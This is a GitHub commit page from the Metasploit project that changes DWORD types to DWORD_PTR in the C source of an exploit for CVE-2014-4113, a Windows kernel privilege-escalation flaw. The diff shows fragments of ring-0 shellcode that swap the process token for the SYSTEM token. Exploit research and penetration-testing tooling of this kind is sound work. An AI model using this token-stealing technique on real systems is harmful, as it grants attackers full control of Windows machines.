Skip to content

Commit 4f0fbaa

Browse files
committed
Land rapid7#4112 - Fix pointer types
2 parents 83360ba + f43a6e9 commit 4f0fbaa

File tree

3 files changed

+5
-5
lines changed

3 files changed

+5
-5
lines changed
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -137,9 +137,9 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
137137

138138

139139
// Search the specified data structure for a member with CurrentValue.
140-
BOOL find_and_replace_member(PDWORD pdwStructure, DWORD dwCurrentValue, DWORD dwNewValue, DWORD dwMaxSize)
140+
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
141141
{
142-
DWORD dwIndex, dwMask;
142+
DWORD_PTR dwIndex, dwMask;
143143

144144
// Microsoft QWORD aligns object pointers, then uses the lower three
145145
// bits for quick reference counting.
@@ -180,9 +180,9 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
180180
systemToken = pPsReferencePrimaryToken(pSystemInfo);
181181

182182
// Find the token in the target process, and replace with the system token.
183-
find_and_replace_member((PDWORD)pMyProcessInfo,
184-
(DWORD)targetToken,
185-
(DWORD)systemToken,
183+
find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
184+
(DWORD_PTR)targetToken,
185+
(DWORD_PTR)systemToken,
186186
0x200);
187187
return 0;
188188
}

0 commit comments

Comments
 (0)